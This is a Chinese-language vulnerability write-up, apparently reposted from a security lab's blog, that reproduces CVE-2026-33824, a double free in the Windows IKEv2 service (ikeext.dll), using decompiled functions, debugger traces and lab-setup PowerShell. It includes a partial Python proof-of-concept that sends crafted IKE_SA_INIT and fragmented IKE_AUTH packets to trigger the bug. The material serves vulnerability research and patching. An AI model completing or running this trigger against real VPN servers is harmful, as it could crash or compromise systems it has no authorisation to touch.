CVE-2026-33824cvss9.8分的IKEv2doublefree漏洞简单复现

admin 2026-05-01 05:37:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档分析了WindowsIKEv2服务中的CVE-2026-33824双重释放漏洞(CVSS9.8分)。漏洞位于ikeext.dll,在分片重组过程中因SECURITYREALMID指针被多次复制导致同一内存块被重复释放。作者通过调试展示了漏洞触发路径:IkeHandleSecurityRealmVendorId函数分配内存后,IkeReinjectReassembledPacket和IkeQueueRecvRequest的复制操作造成多指针指向同一堆块,最终在IkeDestroyPacketContext清理时触发doublefree。 综合评分: 72 文章分类: 漏洞分析,渗透测试,应急响应


cover_image

CVE-2026-33824 cvss 9.8分的IKEv2 double free漏洞简单复现

原创

毕方安全实验室 毕方安全实验室

BeFun安全实验室

2026年4月30日 17:32 四川

在小说阅读器读本章

去阅读

CVE-2026-33824 cvss 9.8分的IKEv2 double free漏洞简单复现

又到了喜闻乐见的补丁日,四月微软修复了一个位于ikeext.dlldouble free,cvss高达9.8分,由zdi的Richard Chen and Lucas Miller提交。这我高低得看看怎么个事情,在我分析这段时间,zdi也发布了他们的分析文章,接下来就是pua我的gpt来搭环境和写poc。

背景

Windows Internet Key Exchange (IKEv2) 服务是 Windows 中用于支持基于 IKEv2 协议的 VPN 连接的核心组件。

简单说,它的作用是:

  • • 建立安全隧道:通过 IKEv2 协议在客户端和 VPN 服务器之间协商加密参数
  • • 身份验证:支持证书、用户名/密码等方式验证双方身份
  • • 密钥管理:动态生成并更新加密密钥,保障通信安全
  • • etc

于是我们配置的目标环境可以是

  1. 1. Windows Server,安装VPN组件
  2. 2. 普通 Windows 配置 ipsec 策略

漏洞分析

ikev2支持类似tcp的分片能力,目标在接收到分片以后会放在一个队列里,在接收完所有分片后合并进行处理。

ike sa init时,IkeHandleSecurityRealmVendorId函数会往一个全局结构体mm_sa0x208的位置写SECURITY_REALM_ID

NTSTATUS __fastcall IkeHandleSecurityRealmVendorId(
        IKE_MMSA_RECOVERED_V2 *mm_sa,
        void *qm_sa,
        IKE_PACKET_CONTEXT *packet_ctx)
{
    ...
      LODWORD(v19) = IkeCopyBlob(src: (const IKE_BLOB *)ptr_field, dst: &mm_sa->reinject_copy_fields.security_realm_vendor_blob);
      status = v19;
      if ( !v19 )
      {
        *((_DWORD *)packet_ctx->packet_buffer + 0x30) = security_realm_blob_size;
        *((_QWORD *)packet_ctx->packet_buffer + 0x19) = security_realm_blob_data;
        goto LABEL_26;
      }
    ...
  }
  if ( security_realm_blob_data )
    WfpMemFree(ptr_field: &ptr_field[1]);
LABEL_26:
  TraceLogHelper(unk: "IkeHandleSecurityRealmVendorId", unk: 0);
  return IkeReturnError(unk: status, unk: "IkeHandleSecurityRealmVendorId");
}
// IkeCopyBlob(src: (const IKE_BLOB *)ptr_field, dst: &mm_sa->reinject_copy_fields.security_realm_vendor_blob);
0:007> r
rax=00007fff9551f460 rbx=0000000000000008 rcx=000000388417e790
rdx=000001b805fb6d70 rsi=0000000000000000 rdi=0000000000000000
rip=00007fff954a825f rsp=000000388417e740 rbp=000000388417e840
 r8=000000388417e890  r9=0000000000000010 r10=000000388417e8d4
r11=0000000000000010 r12=0000000000000010 r13=000001b805feeff0
r14=000001b805fb6b70 r15=000001b805fb0f20
iopl=0         nv up ei pl zr na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ikeext!IkeHandleSecurityRealmVendorId+0x1ab:
00007fff`954a825f e85c9bf7ff      call    ikeext!IkeCopyBlob (00007fff`95421dc0)
0:007> dq rdx
000001b8`05fb6d70  00000000`00000000 00000000`00000000
0:007> p
ikeext!IkeHandleSecurityRealmVendorId+0x1b0:
00007fff`954a8264 488bf0          mov     rsi,rax
0:007> dq 000001b8`05fb6d70
000001b8`05fb6d70  00000000`00000010 000001b8`05ff0ff0
0:007> dq 000001b8`05ff0ff0
000001b8`05ff0ff0  deadbeef`deadbeef deadbeef`deadbeef
000001b8`05ff1000  ????????`???????? ????????`????????

接下来分片发送ike auth的数据包,然后在重组数据包的时候,在IkeReinjectReassembledPacket函数里把这个数据复制到栈上:

NTSTATUS __fastcall IkeReinjectReassembledPacket(
        IKE_FRAG_LIST *frag_list,
        void *packet_state,
        IKE_MMSA_REINJECT_COPY_FIELDS_V2 *mmsa_copy_src,
        IKE_MMSA_RECOVERED_V2 *mmsa)
{

  ...
    v20 = *(_OWORD *)&mmsa_copy_src->security_realm_vendor_blob.pb;
    v21 = *(_QWORD *)&mmsa_copy_src->unknown_098[8];
    *(_OWORD *)&packet_ctx.unknown_0B0[8] = v19;
    *(_OWORD *)&packet_ctx.security_realm_vendor_blob.pb = v20;
  ...
  WfpMemFree(ptr_field: &packet_ctx.packet_buffer);
  ClearFragList(unk: frag_list);
  TraceLogHelper(unk: "IkeReinjectReassembledPacket", unk: 0);
  return IkeReturnError(unk: alloc_status, unk: "IkeReinjectReassembledPacket");
}
0:007> r
rax=0000000000000080 rbx=000001b805fb6ce8 rcx=000000388417e5c8
rdx=000000388417e630 rsi=000001b8060a8f20 rdi=0000000000000000
rip=00007fff954740fa rsp=000000388417e4f0 rbp=000000388417e5f0
 r8=0000000000000000  r9=000001b8060a8f10 r10=000001b8060b6fc0
r11=000001b8060b6fc0 r12=000001b8060a8f48 r13=000001b805fb6b70
r14=0000000000000000 r15=000001b805fb6df8
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
ikeext!IkeReinjectReassembledPacket+0xca:
00007fff`954740fa 0f10440310      movups  xmm0,xmmword ptr [rbx+rax+10h] ds:000001b8`05fb6d78=0000000000000000000001b805ff0ff0

接下来会进入到IkeQueueRecvRequest,分配一个堆块后,把这个栈上的数据复制到堆块里,这里复制是直接把之前分配的用于存放SECURITY_REALM_ID0x10堆块地址复制过去了,导致在这个结构体和前面分配的全局结构体里都有一个指向这个堆块的指针。

NTSTATUS __fastcall IkeQueueRecvRequest(IKE_PACKET_CONTEXT *packet_ctx, int reinjected_fragment)
{
  ...
  queued_ctx_raw->security_realm_vendor_blob = packet_ctx->security_realm_vendor_blob;
  *(_OWORD *)queued_ctx_raw->unknown_0D0 = *(_OWORD *)packet_ctx->unknown_0D0;
  *(_OWORD *)&queued_ctx_raw->unknown_0D0[16] = *(_OWORD *)&packet_ctx->unknown_0D0[16];
  LODWORD(v12) = WfpMemAlloc(dwBytes: packet_ctx->packet_length, flags: 0, out_ptr: &queued_ctx_raw->packet_buffer);
  status = v12;
  ...
  TraceLogHelper(unk: "IkeQueueRecvRequest", unk: 0);
  return IkeReturnError(unk: status, unk: "IkeQueueRecvRequest");
}
0:007> r
rax=000000388417e590 rbx=0000000000000000 rcx=000001b8060b8f90
rdx=0000000000000000 rsi=000000388417e510 rdi=000001b8060b8f10
rip=00007fff953f2b6f rsp=000000388417e450 rbp=000000388417e4c0
 r8=000001b8060b8f20  r9=0101010101010101 r10=000001b8060b8f10
r11=000001b8060b8f10 r12=0000000000000001 r13=0000000000000000
r14=000001b8060b8f20 r15=0000000000000000
iopl=0         nv up ei pl zr na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ikeext!IkeQueueRecvRequest+0x12b:
00007fff`953f2b6f 0f104840        movups  xmm1,xmmword ptr [rax+40h] ds:00000038`8417e5d0=000001b805ff0ff00000000000000010

0:007> dq 00000038`8417e5d0
00000038`8417e5d0  00000000`00000010 000001b8`05ff0ff0
0:007> dq 000001b8`05fb6d70
000001b8`05fb6d70  00000000`00000010 000001b8`05ff0ff0

于是在清理流程中,IkeDestroyPacketContext函数首先释放的是第二次复制的地址packet_ctx->security_realm_vendor_blob.pb

unsigned __int64 __fastcall IkeDestroyPacketContext(IKE_PACKET_CONTEXT *packet_ctx)
{
  PVOID ptr_field; // [rsp+30h] [rbp+8h] BYREF

  ptr_field = packet_ctx;
  WfpMemFree(ptr_field: &packet_ctx->packet_buffer);
  if ( packet_ctx->security_realm_vendor_blob.pb )
    WfpMemFree(ptr_field: &packet_ctx->security_realm_vendor_blob.pb);// First free
  return WfpMemFree(ptr_field: &ptr_field);
}
0:007> r
rax=badbadfabadbadfa rbx=000001b8060b8f10 rcx=000001b8060b8fd8
rdx=000001b805e00000 rsi=000001b8060b8f10 rdi=000001b805fb6bf0
rip=00007fff9546930f rsp=000000388417ea80 rbp=000000388417eb59
 r8=000001b8060bafc0  r9=0000000000000001 r10=0000000000000000
r11=000000388417e9e0 r12=0000000000000000 r13=000000000000ffff
r14=0000000000000002 r15=000001b805fb6bd0
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
ikeext!IkeDestroyPacketContext+0x23:
00007fff`9546930f e84c51f7ff      call    ikeext!WfpMemFree (00007fff`953de460)
0:007> dq @rcx
000001b8`060b8fd8  000001b8`05ff0ff0 00000000`00000000
000001b8`060b8fe8  00000000`00000000 00000000`00000000
000001b8`060b8ff8  00000000`00000000 ????????`????????

然后在IkeCleanupMMNegotiation里减少引用计数后,调用IkeFreeMMSA再次检查并释放mm_sa->reinject_copy_fields.security_realm_vendor_blob.pb

unsigned __int64 __fastcall IkeFreeMMSA(IKE_MMSA_RECOVERED_V2 *mm_sa)
{
  lpCriticalSection = (LPCRITICAL_SECTION)mm_sa;
  TraceLogHelper(unk: "IkeFreeMMSA", unk: 1);
  if ( mm_sa->reinject_copy_fields.security_realm_vendor_blob.pb )
  {
    mm_sa->reinject_copy_fields.security_realm_vendor_blob.cb = 0;
    WfpMemFree(ptr_field: &mm_sa->reinject_copy_fields.security_realm_vendor_blob.pb);
  }
  ...
  return TraceLogHelper(unk: "IkeFreeMMSA", unk: 0);
}
0:007> r
rax=0000c496969cc835 rbx=000001b805fb6b70 rcx=000001b805fb6d78
rdx=0000000000000001 rsi=0000000000000000 rdi=000001b805fc0fe0
rip=00007fff953dd346 rsp=000000388417e9a0 rbp=000000388417eaa0
 r8=000001b805fc2fe0  r9=0000000000000001 r10=0000000000000000
r11=000000388417eb20 r12=000001b805fbefe0 r13=000001b805fb6b70
r14=0000000000000000 r15=000001b805fb6ce8
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
ikeext!IkeFreeMMSA+0x56:
00007fff`953dd346 e815110000      call    ikeext!WfpMemFree (00007fff`953de460)
0:007> dq rcx
000001b8`05fb6d78  000001b8`05ff0ff0 00000000`00000000

最终造成一个0x10堆块的double free

0:007> p
===========================================================
VERIFIER STOP 0000000000000007: pid 0xD48: block already freed

    000001B805E01000 : Heap handle
    000001B805E05888 : Heap block
    0000000000000010 : Block size
    0000000000000000 :
===========================================================
This verifier stop is not continuable. Process will be terminated
when you use the `go' debugger command.
===========================================================

WARNING: This break is not a step/trace completion.
The last command has been cleared to prevent
accidental continuation of this unrelated event.
Check the event, location and thread before resuming.
(d48.ca8): Break instruction exception - code 80000003 (first chance)
verifier!VerifierCaptureContextAndReportStop+0x112:
00007fff`b2727262 cc              int     3

poc

得益于伟大的AI大人,我们现在可以很容易搓一个poc出来,但是考虑到滥用问题我不会发出完整代码:

def run(args: argparse.Namespace) -> int:
    init_spi = os.urandom(8)
    nat_t = TARGET_PORT == 4500
    family = socket.AF_INET6 if ":" in args.target else socket.AF_INET

    sock = socket.socket(family, socket.SOCK_DGRAM)
    sock.settimeout(SOCKET_TIMEOUT)
    bind_addr = LOCAL_BIND if family == socket.AF_INET else "::"
    sock.bind((bind_addr, SOURCE_PORT))
    print(f"[0] bind UDP {bind_addr}:{SOURCE_PORT}; target={args.target}:{TARGET_PORT}/udp")

    def send_sa_init(dh_group: int, cookie: bytes | None = None) -> bytes:
        pkt = udp_wrap(build_sa_init(init_spi, SECURITY_REALM_ID, dh_group, cookie), nat_t)
        sock.sendto(pkt, (args.target, TARGET_PORT))
        data, _peer = sock.recvfrom(8192)
        return udp_unwrap(data, nat_t)

    dh_group = INITIAL_DH_GROUP
    print(f"[1] send IKE_SA_INIT: SA=AES128-CBC/PRF-HMAC-SHA1/AUTH-HMAC-SHA1-96/DH{dh_group}; VID=Microsoft Security Realm")
    response = send_sa_init(dh_group)
    notify = first_notify(response)
    if notify and notify[0] == NOTIFY_COOKIE:
        print("[1a] target returned COOKIE; resend IKE_SA_INIT with COOKIE notify")
        response = send_sa_init(dh_group, notify[1])
        notify = first_notify(response)
    if notify and notify[0] == 17 and len(notify[1]) >= 2:
        requested = struct.unpack_from("!H", notify[1], 0)[0]
        if requested not in (2, 14):
            raise RuntimeError(f"target requested unsupported DH group {requested}")
        if requested != dh_group:
            dh_group = requested
            print(f"[1b] target requested DH{dh_group}; resend IKE_SA_INIT with that DH group")
            response = send_sa_init(dh_group)
            notify = first_notify(response)
            if notify and notify[0] == NOTIFY_COOKIE:
                print("[1c] target returned COOKIE after DH retry; resend IKE_SA_INIT with COOKIE notify")
                response = send_sa_init(dh_group, notify[1])

    resp_spi = parse_responder_spi(response, init_spi)
    print(f"[2] receive accepted IKE_SA_INIT response: responder_spi={resp_spi.hex()}")
    keys = derive_keys(init_spi, resp_spi, response)
    print("[3] derive IKE SA keys from DH shared secret and nonces")

    idi = generic_payload(PAYLOAD_NONE, b"\x01\x00\x00\x00" + socket.inet_aton(IDENTITY_IP))
    split = max(1, len(idi) // 2)
    frag1 = build_encrypted_skf(init_spi, resp_spi, keys, 1, 2, idi[:split], PAYLOAD_IDI)
    frag2 = build_encrypted_skf(init_spi, resp_spi, keys, 2, 2, idi[split:], PAYLOAD_NONE)

    print("[4] send IKE_AUTH SKF fragment 1/2: encrypted first half of IDi payload")
    sock.sendto(udp_wrap(frag1, nat_t), (args.target, TARGET_PORT))
    time.sleep(FRAGMENT_DELAY)
    print("[5] send IKE_AUTH SKF fragment 2/2: encrypted second half of IDi payload")
    sock.sendto(udp_wrap(frag2, nat_t), (args.target, TARGET_PORT))
    print("[6] trigger sequence sent")
    return 0

调试环境 by gpt5.5

Windows Server 2025 Datacenter

# 安装VPN服务
Install-WindowsFeature RemoteAccess, DirectAccess-VPN, Routing -IncludeManagementTools
# 启动服务
Start-Service BFE
Start-Service PolicyAgent
Start-Service IKEEXT
# 防火墙
New-NetFirewallRule -DisplayName "IKE UDP 500" -Direction Inbound -Protocol UDP -LocalPort 500 -Action Allow
New-NetFirewallRule -DisplayName "IKE NAT-T UDP 4500" -Direction Inbound -Protocol UDP -LocalPort 4500 -Action Allow
# 初始化
Install-RemoteAccess -VpnType Vpn
Set-Service RemoteAccess -StartupType Automatic
Start-Service RemoteAccess

Windows 11

Set-Service IKEEXT -StartupType Automatic
Set-Service PolicyAgent -StartupType Automatic
Start-Service IKEEXT
Start-Service PolicyAgent

Set-NetConnectionProfile -NetworkCategory Private

New-NetFirewallRule -DisplayName "IKE Lab UDP 500 In" `
  -Direction Inbound `
  -Protocol UDP `
  -LocalPort 500 `
  -Action Allow `
  -Profile Any

New-NetFirewallRule -DisplayName "IKE Lab UDP 4500 In" `
  -Direction Inbound `
  -Protocol UDP `
  -LocalPort 4500 `
  -Action Allow `
  -Profile Any

# ipsec策略 这里local是目标机器 remote是发数据包的机器
$LocalIP  = "192.168.146.143"
$RemoteIP = "192.168.146.1"
$Psk      = "ikeextlab123!"

$authProposal = New-NetIPsecAuthProposal -Machine -PreSharedKey $Psk
$phase1Auth = New-NetIPsecPhase1AuthSet `
  -DisplayName "IKEEXT Lab Phase1 PSK" `
  -Proposal $authProposal

$mmProposal = New-NetIPsecMainModeCryptoProposal `
  -Encryption AES128 `
  -Hash SHA1 `
  -KeyExchange DH14

$mmCrypto = New-NetIPsecMainModeCryptoSet `
  -DisplayName "IKEEXT Lab MainMode Crypto" `
  -Proposal $mmProposal

$qmProposal = New-NetIPsecQuickModeCryptoProposal `
  -Encapsulation ESP `
  -Encryption AES128 `
  -ESPHash SHA1

$qmCrypto = New-NetIPsecQuickModeCryptoSet `
  -DisplayName "IKEEXT Lab QuickMode Crypto" `
  -Proposal $qmProposal

New-NetIPsecMainModeRule `
  -DisplayName "IKEEXT Lab MainMode 192.168.146.1" `
  -LocalAddress $LocalIP `
  -RemoteAddress $RemoteIP `
  -Phase1AuthSet $phase1Auth.Name `
  -MainModeCryptoSet $mmCrypto.Name `
  -Profile Any `
  -Enabled True

New-NetIPsecRule `
  -DisplayName "IKEEXT Lab Transport 192.168.146.1" `
  -Mode Transport `
  -InboundSecurity Request `
  -OutboundSecurity Request `
  -LocalAddress $LocalIP `
  -RemoteAddress $RemoteIP `
  -Protocol Any `
  -QuickModeCryptoSet $qmCrypto.Name `
  -Profile Any `
  -Enabled True

Restart-Service PolicyAgent -Force
Restart-Service IKEEXT -Force

参考

  • • CVE-2026-33824: Remote Code Execution in Windows IKEv2: https://www.zerodayinitiative.com/blog/2026/4/22/cve-2026-33824-remote-code-execution-in-windows-ikev2


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:BeFun安全实验室 毕方安全实验室 毕方安全实验室《CVE-2026-33824 cvss 9.8分的IKEv2 double free漏洞简单复现》

评论:0   参与:  0